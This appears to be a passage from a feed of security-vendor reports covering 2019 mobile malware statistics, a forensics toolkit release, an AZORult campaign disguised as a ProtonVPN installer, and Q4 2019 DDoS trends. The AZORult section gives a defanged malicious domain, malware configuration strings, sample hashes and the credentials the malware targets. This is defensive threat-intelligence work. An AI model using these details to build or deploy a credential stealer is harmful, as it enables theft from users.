In 2019, the share of RiskTool-class threats decreased by 20 p.p. (32.46%). We believe the main reason to be the sharp drop in the generation of threats from the SMSreg family. A characteristic feature of this family is payments via SMS: for example, money transfers or subscriptions to mobile services. Moreover, the user is not explicitly informed of the payment or money being charged to their mobile account. Whereas in 2018, we picked up 1,970,742 SMSreg installation packages, the number decreased by an order of magnitude to 193,043 in 2019. At the same time, far from declining, the number of packages of other members of this class of threats increased noticeably.

Name of family %* 1 Agent 27.48 2 SMSreg 16.89 3 Dnotua 13.83 4 Wapron 13.73 5 SmsSend 9.15 6 Resharer 4.62 7 SmsPay 3.55 8 PornVideo 2.51 9 Robtes 1.23 10 Yoga 1.03

*Share of packages of this family in the total number of riskware-class packages detected in 2019.

Skymobi and Paccy dropped out of the Top 10 families of potentially unwanted software; the number of installation packages of these families detected in 2019 decreased tenfold. Their creators likely minimized or even ceased their development and distribution. However, a new player appeared: the Resharer family (4.62%), which ranked sixth. This family is noted for its self-propagation through posting information about itself on various sites and mailing it to the victim’s contacts.

Adware demonstrated the most impressive growth, up by 14 p.p. The main source of this growth was HiddenAd (26.81%); the number of installation packages of this family increased by two orders of magnitude against 2018.

Name of family %* 1 HiddenAd 26.81 2 MobiDash 20.45 3 Ewind 16.34 4 Agent 15.27 5 Dnotua 5.51 6 Kuguo 1.36 7 Dowgin 1.28 8 Triada 1.20 9 Feiad 1.01 10 Frupi 0.94

*Share of packages of this family in the total number of adware-class packages detected in 2019.

Significant growth also came from the MobiDash (20.45%) and Ewind (16.34%) families. Meanwhile, the Agent family (15.27%), which held a leading position in 2018, dropped to fourth place.

Compared to 2018, the number of mobile Trojans detected decreased sharply. A downward trend has been observed for two consecutive years now, yet droppers remain one of the most numerous malware classes. The Hqwar family showed the most notable decrease: down from 141,000 packages in 2018 to 22,000 in 2019. At the same time, 2019 saw the debut of the Ingopack family: we detected 115,654 samples of this dropper.

Meanwhile, the share of Trojan-class threats rose by 6 p.p., with the two most numerous malware families of this class being Boogr and Hiddapp. The Boogr family contains various Trojans that have been detected using machine-learning (ML) technology. A feature of the Hiddapp family is that it hides its icon in the list of installed apps while continuing to run in the background.

The share of mobile ransomware Trojans slightly increased. The Top 3 families of this class of threats remained the same as in 2018: Svpeng, Congur, and Fusob — in that order.

Top 20 mobile malware programs

The following malware rankings omit potentially unwanted software, such as RiskTool and AdWare.

Verdict %* 1 DangerousObject.Multi.Generic 49.15 2 Trojan.AndroidOS.Boogr.gsh 10.95 3 Trojan.AndroidOS.Hiddapp.ch 5.19 4 DangerousObject.AndroidOS.GenericML 5.08 5 Trojan-Dropper.AndroidOS.Necro.n 3.45 6 Trojan.AndroidOS.Hiddapp.cr 3.28 7 Trojan-Banker.AndroidOS.Asacub.snt 2.35 8 Trojan-Dropper.AndroidOS.Hqwar.bb 2.10 9 Trojan-Dropper.AndroidOS.Lezok.p 1.76 10 Trojan-Banker.AndroidOS.Asacub.a 1.66 11 Trojan-Downloader.AndroidOS.Helper.a 1.65 12 Trojan-Banker.AndroidOS.Svpeng.ak 1.60 13 Trojan-Downloader.AndroidOS.Necro.b 1.59 14 Trojan-Dropper.AndroidOS.Hqwar.gen 1.50 15 Exploit.AndroidOS.Lotoor.be 1.46 16 Trojan.AndroidOS.Hiddapp.cf 1.35 17 Trojan.AndroidOS.Dvmap.a 1.33 18 Trojan-Banker.AndroidOS.Agent.ep 1.31 19 Trojan.AndroidOS.Agent.rt 1.28 20 Trojan-Dropper.AndroidOS.Tiny.d 1.14

*Share of users attacked by this type of malware out of all attacked users

As we wrap up the year 2019, first place in our Top 20 mobile malware, as in previous years, goes to the verdict DangerousObject.Multi.Generic (49.15%), which we use for malware detected with cloud technology. The verdict is applied where the antivirus databases still have no signatures or heuristics for malware detection. This way, the most recent malware is uncovered.

In second place came the verdict Trojan.AndroidOS.Boogr.gsh (10.95%). This verdict is assigned to files recognized as malicious by our ML-based system. Another result of this system’s work is objects with the verdict DangerousObject.AndroidOS.GenericML (5.08%, fourth place in the rating). This verdict is assigned to files whose structure is identical to that of malicious files.

Third, sixth, and sixteenth places were taken by members of the Hiddapp family. We assign this verdict to any app that hides its icon in the list of apps immediately after starting. Subsequent actions of such apps may be anything from downloading or dropping other apps to displaying ads.

Fifth and thirteenth places went to members of the Necro family of droppers and loaders. In both threat classes, Necro members did not make it into the Top 10 by number of detected files. Even the weakened Hwar family of droppers strongly outperformed Necro by number of generated objects. That said, users often encountered Necro members due to the family’s penetration of Google Play.

Seventh and tenth places went to the Asacub family of banking Trojans. Whereas at the start of the year, the Trojan’s operators were still actively spreading the malware, starting in March 2019, we noticed a drop in this family’s activity.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of unique users attacked by the Asacub mobile banking Trojan in 2019 (download)

Eighth and fourteenth places were reserved for droppers in the Hqwar family. Their activity dropped significantly from 80,000 attacked users in 2018 to 28,000 in 2019. However, we continue to register infection attempts by this family, and do not rule out its return to the top.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of unique users attacked by the Hqwar mobile dropper in 2019 (download)

In ninth position is another dropper, this time from the Lezok family: Trojan-Dropper.AndroidOS.Lezok.p (1.76%). A notable difference between this Trojan and Hqwar is that the malware penetrates the device before it arrives at the store. This is evidenced by KSN statistics showing that the Trojan was most often detected in the system directory under the names PhoneServer, GeocodeService, and similar.

Path to the detected threat Number of unique users attacked 1 /system/priv-app/PhoneServer/ 49,688 2 /system/priv-app/GeocodeService/ 9747 3 /system/priv-app/Helper/ 6784 4 /system/priv-app/com.android.telephone/ 5030 5 /system/priv-app/ 1396 6 /system/priv-app/CallerIdSearch/ 1343

When the device is turned on, Lezok dumps its payload into the system; it does so even if the victim deletes the dumped files using regular OS tools or resets the device to the factory settings. The trick is that the Trojan forms part of the factory firmware and can reload (restore) the deleted files.

The final Trojan worthy of attention is Trojan-Downloader.AndroidOS.Helper.a (1.56%), which finished eleventh in the rankings. Despite claims to the contrary, it can be removed. However, the infected system contains another Trojan that installs a helper app, which cannot be removed that easily. According to KSN statistics, members of the Trojan-Downloader.AndroidOS.Triada and Trojan.AndroidOS.Dvmap families can act as delivery vehicles for the helper. After the victim removes the helper, a member of one of these two families loads and reinstalls it.

Mobile banking Trojans

In 2019, we detected 69,777 installation packages for mobile banking Trojans, which is half last year’s figure. However, the share of banking Trojans out of all detected threats grew slightly as a consequence of the declining activity of other classes and families of mobile malware.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of installation packages of mobile banking Trojans detected by Kaspersky in 2019 (download)

The number of detected installation packages for banking Trojans as well as the number of attacks were influenced by the campaign to distribute the Asacub Trojan, whose activity has plummeted starting in April 2019.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of attacks by mobile banking Trojans in 2018–2019 (download)

It is worth noting that the average number of attacks over the year was approximately 270,000 per month.

Top 10 countries by share of users attacked by banking Trojans

Country %* 1 Russia 0.72 2 South Africa 0.66 3 Australia 0.59 4 Spain 0.29 5 Tajikistan 0.21 6 Turkey 0.20 7 USA 0.18 8 Italy 0.17 9 Ukraine 0.17 10 Armenia 0.16

*Share of users attacked by mobile bankers out of all attacked users

Russia (0.72%) has headed our Top 10 for three consecutive years: many different Trojan families are focused on stealing credentials from Russian banking apps. These Trojans operate in other countries as well. Thus, Asacub is the number one threat in Tajikistan, Ukraine, and Armenia, while the Svpeng family of Trojans is active in Russia and the US.

In South Africa (0.66%), the most common Trojan was Trojan-Banker.AndroidOS.Agent.dx, accounting for 95% of all users attacked by banking threats.

The most widespread Trojan in Australia (0.59%) was Trojan-Banker.AndroidOS.Agent.eq (77% of all users attacked by banking threats).

In Spain (0.29%), banking malware from the Cebruser and Trojan-Banker.AndroidOS.Agent.ep families are popular with cybercriminals (49% and 22% of all users attacked by banking threats, respectively).

Top 10 families of mobile bankers in 2019

Family %* 1 Asacub 44.40 2 Svpeng 22.40 3 Agent 19.06 4 Faketoken 12.02 5 Hqwar 3.75 6 Anubis 2.72 7 Marcher 2.07 8 Rotexy 1.46 9 Gugi 1.34 10 Regon 1.01

*Share of users attacked by this family of mobile bankers out of all users attacked by mobile banking Trojans

Mobile ransomware Trojans

In 2019, we detected 68,362 installation packages for ransomware Trojans, which is 8,186 more than in the previous year. However, we observed a decline in the generation of new ransomware packages throughout 2019. The minimum was recorded in December.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of new installation packages for mobile banking Trojans in Q1–Q4 2019 (download)

A similar picture is seen for attacked users. Whereas in early 2019, the number of attacked users peaked at 12,004, by the end of the year, the figure had decreased 2.6 times.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Number of users attacked by mobile ransomware Trojans in 2018–2019 (download)

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Countries by share of users attacked by mobile ransomware in 2019 (download)

Top 10 countries by share of users attacked by ransomware Trojans

Country* %** 1 USA 2.03 2 Kazakhstan 0.56 3 Iran 0.37 4 Mexico 0.11 5 Saudi Arabia 0.10 6 Pakistan 0.10 7 Canada 0.10 8 Italy 0.09 9 Indonesia 0.08 10 Australia 0.06

*Excluded from the rating are countries with fewer than 25,000 active users of Kaspersky mobile solutions in the reporting period.
**Unique users attacked by mobile ransomware in the country as a percentage of all users of Kaspersky mobile solutions in the country.

For the third year in a row, first place by share of users attacked by mobile ransomware went to the US (2.03%). Same as last year, the Svpeng ransomware family was the most commonly encountered in the country. It was also the most widespread in Iran (0.37%).

The situation in Kazakhstan (0.56%) was unchanged: the country still ranks second, and the most prevalent threat there remains the Rkor family.


The year 2019 saw the appearance of several highly sophisticated mobile banking threats, in particular, malware that can interfere with the normal operation of banking apps. The danger they pose cannot be overstated, because they cause direct losses to the victim. It is highly likely that this trend will continue into 2020, and we will see more such high-tech banking Trojans.

Also in 2019, attacks involving the use of mobile stalkerware became more frequent, the purpose being to monitor and collect information about the victim. In terms of sophistication, stalkerware is keeping pace with its malware cousins. It is quite likely that 2020 will see an increase in the number of such threats, with a corresponding rise in the number of attacked users.

Judging by our statistics, adware is gaining ever more popularity among cybercriminals. In all likelihood, going forward we will encounter new members of this class of threats, with the worst-case scenario involving adware modules pre-installed on victims’ devices.

2020. február 20.

Cybersecurity Research During the Coronavirus Outbreak and After

Virus outbreaks are always gruesome: people, animals or computer systems get infected within a short time. Of course, viruses spreading across our physical world always take priority over the virtual world. Nevertheless, everyone should keep doing their job, which includes all kinds of malware researchers, digital forensics experts and incident responders. At times like this, we all realize how important it is to be able to work remotely. However, the duties of a security researcher or a digital forensics expert pushes them to travel, visit victims or collect digital evidence in an ongoing hunt for malware artefacts. What can we do to reduce the need for travel? Of course, keep looking for replacement of our physical routines with remote ones.

It is about two and half years since we first open-sourced a tool for remote digital forensics called Bitscout. Born while I was with Digital Forensics Lab at INTERPOL, the tool has evolved and helped us in many cyberinvestigations. Based on the widely popular Ubuntu Linux distribution, it is packed with forensics and malware analysis tools created by a large number of excellent developers around the world.

What can it do? Well, we have tried to identify what it is that it *cannot* do and other expensive commercial tools used in digital forensics can. We have not really been able to find anything! Moreover, we have built so many new interesting techniques that are not available in commercial tools that it has every chance to replace commercial solutions in your organization if it gets into the right hands.

Let me just remind you about the approach we use in Bitscout:

  1. Bitscout is completely FREE, which helps reducing your forensics budget! Yay!
  2. It is designed to be remote, which also saves your time and money spent for travelling. And of course you can use the same techniques locally! To be frank, in light of the powers of all those forensic tools that are part of the toolkit, Bitscout itself is the least important element: the true value is in the knowledge of the underlying tools that you get access to by using Bitscout, not the product they ship with.
  3. Mastering Bitscout follows a steep curve, which, in the end, reinforces your experts’ technical foundations.
  4. Bitscout records remote forensics sessions internally, which makes it perfect for replaying and learning from more experienced users or using as evidential proof of discovery.
  5. It is fully open source, so you need not wait for the vendor to implement a patch or feature for you: you are free to reverse-engineer and modify any part of it.

Today, I am happy to announce that we are releasing a new version of Bitscout, based on the upcoming release of Ubuntu 20.04, scheduled for April 2020.

So, what is new in Bitscout 20.04 other than extended hardware support leveraging new OS and updated forensics tools from Canonical Ltd official repositories?

First of all, we have launched a project website at bitscout-forensics.info.

The website should become the go-to destination for those looking for tips and tricks on remote forensics using Bitscout and whatnot. In reality, Bitscout had been our internal tool for a long time and had been used only by a limited number of highly skilled researchers, who knew exactly how to use it. Yes, like many researchers, we lacked proper documentation and manuals which we will address with our new website. We have already linked several presentation videos and slides with live demos seen by security conferences and meetups. It is true that some of those commands we used in our demos are crazy long one-liners. So, to make it easy for you to copy them and try them out, we have started recording terminal sessions in ASCII video casts. Kudos to the awesome folks at asciinema.org! This way, should you want to try some of our black magic recipes, you can copy and paste them from a browser or a terminal into your own session.

Second, to address a popular request, we have released demo versions of three flavors of pre-built Bitscout images: minimal, balanced and full. This way, newcomers can easily try Bitscout without going through the whole build process. The download URLs for the ISO image files are available on the project website. However, please note they must not be used in a production environment.

Third, our little community of contributors keeps growing. I am happy to highlight some of the features contributed by others. Kudos to Xavier Mertens aka @xme!

  1. The following new tools from the security community are now part of Bitscout (full build) by default:
    • RegRipper,
    • Bulk Extractor,
    • Loki.

    It is great to have modern scanners such as Loki with an updated rich collection of Yara rules that comes with it.

  2. Optional logging of bash commands to a remote syslog server. This is particularly useful for environments where a Bitscout instance may be unexpectedly powered off or disconnected for a long time due to a network failure. It is also a great way to remember which commands you have run to find the clues.

And, if it feels hard for you to start using Bitscout, then join our training session on April 5-6 in the beautiful city of Barcelona, Spain. We will be demonstrating how to build your own Bitscout and customize it with your own tools, and of course walking you through the standard forensics procedure. Some of our advanced tasks include hypervisor debugging to overcome just about any type of proprietary full disk encryption. Our exercises will focus on the most popular platforms, covering Windows, Linux and macOS forensics challenges, along with some real malware. Stay safe and we hope to see some of you in Barcelona! Join us there!

2020. február 18.

AZORult spreads as a fake ProtonVPN installer

AZORult has its history. However, a few days ago, we discovered what appears to be one of its most unusual campaigns: abusing the ProtonVPN service and dropping malware via fake ProtonVPN installers for Windows.

Screenshot of a fake ProtonVPN website

The campaign started at the end of November 2019 when the threat actor behind it registered a new domain under the name protonvpn[.]store. The Registrar used for this campaign is from Russia.

We have found that at least one of the infection vectors is through affiliation banners networks (Malvertising).

When the victim visits a counterfeit website and downloads a fake ProtonVPN installer for Windows, they receive a copy of the Azorult botnet implant.

The Website is an HTTrack copy of the original ProtonVPN website as shown below.

Once the victim runs the implant, it collects the infected machine’s environment information and reports it to the C2, located on the same accounts[.]protonvpn[.]store server.

{ "config: ": [ "MachineID :", "EXE_PATH :", "Windows :", "Computer(Username) :", "Screen:", "Layouts:", "LocalTime:", "Zone:", "[Soft]", "Host: User-Agent: Accept: ; charset=Content-Type: HTTP/1.0POST text/*utf-8text/htmlHTTP/Proxy-AuthenticateAcceptContent-TypeContent-Lengthrealmhttp::Connection::connect: using proxy %1%http::Connection::connect: testing %1% for proxy routing" ] }

In their greed, the threat actors have designed the malware to steal cryptocurrency from locally available wallets (Electrum, Bitcoin, Etherium, etc.), FTP logins and passwords from FileZilla, email credentials, information from locally installed browsers (including cookies), credentials for WinSCP, Pidgin messenger and others.

We have been able to identify a few samples associated with the campaign:

Filename MD5 hash ProtonVPN_win_v1.10.0.exe cc2477cf4d596a88b349257cba3ef356 ProtonVPN_win_v1.11.0.exe 573ff02981a5c70ae6b2594b45aa7caa ProtonVPN_win_v1.11.0.exe c961a3e3bd646ed0732e867310333978 ProtonVPN_win_v1.11.0.exe 2a98e06c3310309c58fb149a8dc7392c ProtonVPN_win_v1.11.0.exe f21c21c2fceac5118ebf088653275b4f ProtonVPN_win_v1.11.0.exe 0ae37532a7bbce03e7686eee49441c41 Unknown 974b6559a6b45067b465050e5002214b

Kaspersky products detect this threat as HEUR:Trojan-PSW.Win32.Azorult.gen

2020. február 13.

DDoS attacks in Q4 2019

News overview

In the past quarter, DDoS organizers continued to harness non-standard protocols for amplification attacks. In the wake of WS-Discovery, which we covered in the previous report, cybercriminals turned to Apple Remote Management Service (ARMS), part of the Apple Remote Desktop (ARD) application for remote administration. The first attacks using ARMS were registered back in June 2019, and by early October the protocol was being used by DDoS-as-a-service providers; such attacks have since become widespread. According to the BinaryEdge portal, at the beginning of the quarter, nearly 40,000 systems running macOS with ARMS were available online.

Q4 was also marked by the growing number of peer-to-peer (P2P) botnets. Unlike the classic sort, these are independent of C&C servers, and thus more difficult to neutralize. In Q4 2019, researchers at 360 Netlab told about two new such botnets. The first, nicknamed Roboto, attacks Linux servers through a known vulnerability in the Webmin remote administration application. Experts note that the botnet has yet to carry out a DDoS attack, although it does have the functionality. The second P2P network, Mozi, is aimed at IoT devices and distributed using the DHT protocol, which is applied in distributed networks, such as BitTorrent, to quickly set up a P2P network. Mozi’s authors seemingly borrowed part of the code from the Gafgyt malware, which was designed to create a “classic” botnet.

Gafgyt’s developers also updated their creation. Researchers from Palo Alto Networks detected a new version of the malware that attacks Huawei HG532, Realtek RTL81XX, and Zyxel P660HN-T1A routers. The new version of the bot has even learned to wipe competitors from infected devices.

While some cybercriminals are updating their arsenal, others are using already proven tools and methods. For instance, in October and November 2019, researchers observed a wave of TCP reflection attacks. This method involves sending requests to legitimate services under the guise of the victim, who is then flooded with responses, so the IP addresses of the attackers do not light up. Over the past two years, such attacks have been on the rise. In October, the betting website Eurobet fell victim to cybercriminals, followed by several other sports betting organizations. Later that same month, a flurry of TCP reflection attacks hit financial and telecommunications companies in Turkey. Also named among the targets were Amazon and SoftLayer (a subsidiary of IBM).

Q4 saw attacks on Internet service providers in South Africa continue. In late October, cybercriminals overwhelmed Echo Service Provider — which serves the local providers Afrihost, Axxess, and Webafrica — with junk traffic. Clients of these organizations experienced downtime when connecting to foreign segments of the Internet. The attack reoccurred approximately one month later, and this time the list of victims included the providers RSAWEB and Cool Ideas.

Among the DDoS attacks launched against commercial organizations, worth highlighting is the campaign in October against financial institutions in South Africa, Singapore, and Scandinavia. The attackers sent emails to the victims, threatening to disable their systems and demanding a ransom; and to prove their intent, they carried out a short demonstration DDoS attack. For added effect, they posed as the infamous APT group Fancy Bear, inviting victims to look online for information about their past exploits. When the media reported the attacks, the ransomers renamed themselves Cozy Bear.

Curiously, the media failed to mention a single large-scale DDoS attack timed to coincide with the runup to the festive period. But political incidents did get coverage. For instance, on November 11 and 12, a month before the UK general election, attackers tried to disable the campaign site of the Labour Party.

In December, media outlets in Kyrgyzstan that had reported an investigation into the expenses of the wife of a former official suffered from DDoS attacks. A total of seven organizations were temporarily taken down by the hired hands of the disgruntled party. Another news portal later joined the list of victims, but perhaps for a different reason.

The Minecraft server of the Vatican (that’s right) was bombarded with junk traffic immediately after launch, in what could be described as an ideological attack. The purpose of the server was to create a “less toxic environment” for players, but the project attracted not only peace-loving players. The Vatican is now beefing up its protection. Ubisoft too was engaged in DDoS fire-fighting. The developer adopted a complex of measures to protect the servers of its video game Rainbow Six Siege, which had been on the receiving end of regular attacks. As a result, according to the company, the number of incidents decreased by 93%.

Law enforcement agencies were conspicuous in the struggle against DDoSers. For instance, in early November, Chinese authorities announced the arrest of a group which controlled a botnet of more than 200,000 infected sites. The operation took place in 20 cities; 41 people were detained. In the second half of the same month, the US sentenced Sergey Usatyuk to 13 months’ imprisonment for running DDoS-for-hire services together with an unknown accomplice in Canada. The cybercriminals had been active from 2015 to 2017. In the first 13 months of the operation, the service was used by 386,000 clients and 3.8 million DDoS attacks were carried out.

Quarter and year trends

As we predicted, Q4 saw an increase in the number of attacks relative to the previous reporting period. Although the rise in the total number of incidents was modest (only 8%), smart attacks grew by a quarter (27%), which is a fair amount. What’s more, not only the number of attacks increased, but their average duration. This was expected, since Q4 is a period of retail warfare, and we observe an increase in attacks from October to December every year.

If we compare the Q4 indicators with those for the same period last year, we see a near doubling in 2019. The end of 2018 was really very calm; we only noticed renewed growth in the attack market after a significant drop, which we wrote about in last year’s report. Back then, we correctly predicted a further rise in the number of attacks. This is clearly seen when comparing full data for 2018 and 2019.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Comparison of the number and duration of DDoS attacks in Q3 and Q4 2019, as well as Q4 2018; the Q4 figures were taken as the 100% reference value (download)

Overall, in 2019 we observed clear growth in all indicators compared to 2018. The total number of smart attacks saw particularly significant growth (+43%), as did their average duration (+44%). Last year, we forecast a rise in DDoS attacks, but did not expect such a leap.

The maximum duration of attacks also climbed, but not as significantly. In calculating the indicators, we excluded from the statistics an abnormally long attack carried out in Q3 2019, because it was an outlier case that would have unfairly distorted the annual figures.\

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Comparison of the number and duration of DDoS attacks in 2018 and 2019; the 2019 figures are taken as the 100% reference value (download)

Although Q4 saw an increase in the number and duration of DDoS attacks relative to the previous reporting period, we link this to the specifics of the quarter, not to a market trend. Seems like the DDoS market have re-stabilized — we see no prerequisites for either a fall or further growth. There have been no high-profile arrests or closures of specialized websites for quite some time, and the cryptocurrency market is not showing explosive growth. Nor have any serious vulnerabilities that would facilitate attacks been found recently. Looking at the trends of past years, we expect a slight decline in Q1 2020, yet will hazard a prediction that in absolute terms it will still be higher than the same period for 2019. Last year was an interesting one in the world of DDoS attacks. Let’s hope that 2020 decides to be boring.

Statistics Methodology

Kaspersky Lab has a long history of combating cyber threats, including DDoS attacks of all types and complexity. Company experts monitor botnets using the Kaspersky DDoS Intelligence system.

A part of Kaspersky DDoS Protection, the DDoS Intelligence system intercepts and analyzes commands received by bots from C&C servers. The system is proactive, not reactive, meaning that it does not wait for a user device to get infected or a command to be executed.

This report contains DDoS Intelligence statistics for Q4 2019.

In the context of this report, the incident is counted as a single DDoS-attack only if the interval between botnet activity periods does not exceed 24 hours. For example, if the same web resource was attacked by the same botnet with an interval of 24 hours or more, then this is considered as two attacks. Bot requests originating from different botnets but directed at one resource also count as separate attacks.

The geographical locations of DDoS-attack victims and C&C servers used to send commands are determined by their respective IP addresses. The number of unique targets of DDoS attacks in this report is counted by the number of unique IP addresses in the quarterly statistics.

DDoS Intelligence statistics are limited to botnets detected and analyzed by Kaspersky Lab. Note that botnets are just one of the tools used for DDoS attacks, and that this section does not cover every single DDoS attack that occurred during the review period.

Quarter summary
  • China again took first place in terms of number of attacks, although its share slightly decreased (58.46% against 62.97% in Q3).
  • Two newcomers entered the Top 10: Japan (straight in at number three with 4.86%) and Vietnam (0.68%), while South Africa and the Netherlands dropped out.
  • The Top 3 countries by number of targets traditionally coincides with leaders by number of attacks: China (53.07%), the US (22.01%), and Japan (6.14%).
  • The past quarter was characterized by a low number of attacks: the most active days saw just over 250 attacks, and the quietest only eight.
  • DDoS botnet activity was distributed fairly evenly throughout the quarter itself and on individual days of the week, with the safest and most dangerous days differing by just 2.5 p.p.
  • The three longest attacks lasted more than 20 days (494, 492, and 486 hours), which is almost twice as long as last quarter’s leader.
  • Among the attack types, SYN flooding (6%) still leads. The share of TCP-based attacks continued to grow and overtook UDP flooding, while ICMP flooding showed a significant increase.
  • The ratio of Windows and Linux botnets remained virtually unchanged, with the latter still responsible for the overwhelming majority (97.4%) of attacks.
  • The number of C&C servers in absolute terms more than halved. In the US, the absolute number changed slightly less, leading to a sharp increase in the country’s share in the overall picture (58.33% up from 47.55%), while the Netherlands this quarter fell from second position to the foot of the table.
Attack geography

In the past quarter, China held on to the lead in terms of number of attacks, although its share continued to decline (this time by 4.5 p.p. down to 58.46%). The US position did not change either, remaining in second place, with 17.49% of all attacks (almost the same as last quarter’s 17.37%). Third position enjoyed no such stability: Hong Kong, the previous occupier, fell two places to fifth (3.73% against 5.44%), making way for Romania (fourth place with 4.56%, up almost 3.5 p.p.) and Japan, which not only entered the Top 10 for the first time in a year, but shot straight into third place (4.86% against last quarter’s 0.2% and 18th place).

Another newcomer to the ranking is Vietnam. Having narrowly failed to reach the Top 10 in Q3 (11th place), at the end of the year the country experienced a rise of 0.13 p.p. in its share of attacks, enough to cross the threshold. South Africa flew out of the Top 10 almost as swiftly as it had flown in, swapping fourth place for 15th. Slightly less sharp, but also significant, was the drop in the share of attacks on targets in the Netherlands, relegating the country to 14th position.

There were no major changes in the rest of the Top 10, only some shuffling of places. Romania rose from sixth place to fourth with 4.56%; South Korea from eighth to seventh (0.94%), and Canada tenth to eighth (0.83%). The UK (1.01%) and Singapore (0.72%), meanwhile, fell slightly — from fifth to sixth and seventh to ninth, respectively.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Distribution of DDoS attacks by country, Q3 and Q4 2019 (download)

The geography of unique targets is traditionally similar to the distribution of the attacks themselves. The Top 3 in both cases is identical. The share of targets in China also fell against Q3, down to 53.07%; the US still accounts for around a fifth of targets (22.01%), while Japan’s share increased 20-fold to 6.14%.

The Top 5 was again rounded out by Romania and Hong Kong, but in reverse order: this time fourth place went to the latter (4.14%), and fifth to the former (1.95%). The UK (1.53%) retains sixth place in both categories. It is followed by Canada (0.93%) and Vietnam (0.84%). Propping up the Top 10 are Australia (0.82%), up from 14th place over the quarter, and Singapore (0.78%). As such, this quarter’s newcomers — Japan, Australia, and Vietnam — squeezed out the leaders by number of unique targets — South Africa, the Netherlands, and France, which occupied 14th, 12th, and 11th places this quarter, respectively.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Distribution of unique DDoS-attack targets by country, Q3 and Q4 2019 (download)

Dynamics of the number of DDoS attacks

Q4 was even calmer than the preceding quarter. Even on the stormiest days (November 24 and December 11), the number of attacks barely exceeded 250 (recall that last year’s likewise relatively calm Q4 experienced a maximum of 457 attacks per day — almost twice as many). The total number of days that saw more than 200 attacks was also small — besides those already mentioned, October 6 and 7 and November 25 were also quite turbulent. Meanwhile, the quietest day, October 13, set a new record with only eight attacks recorded (the previous record-holder being May 25, 2018, with 13 attacks).

Curiously, this year there were no typical Q4 peaks on Black Friday and over Christmas: both periods were reasonably calm, and the attacks throughout the quarter were distributed fairly evenly.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Dynamics of the number of DDoS attacks in Q4 2019 (download)

The attack distribution by day of the week also flattened out considerably: the difference between the calmest and most dangerous day was only about 2.5 p.p. (having approached 7.7 p.p. in the previous reporting period). Attack organizers this quarter were particularly busy on Tuesdays (15.46%), and preferred to put their feet up on Thursdays (12.98%). The former first- and second-placed Monday (down 3.5 p.p.) and Sunday (up nearly 2.5 p.p.) showed the biggest change against the preceding quarter.

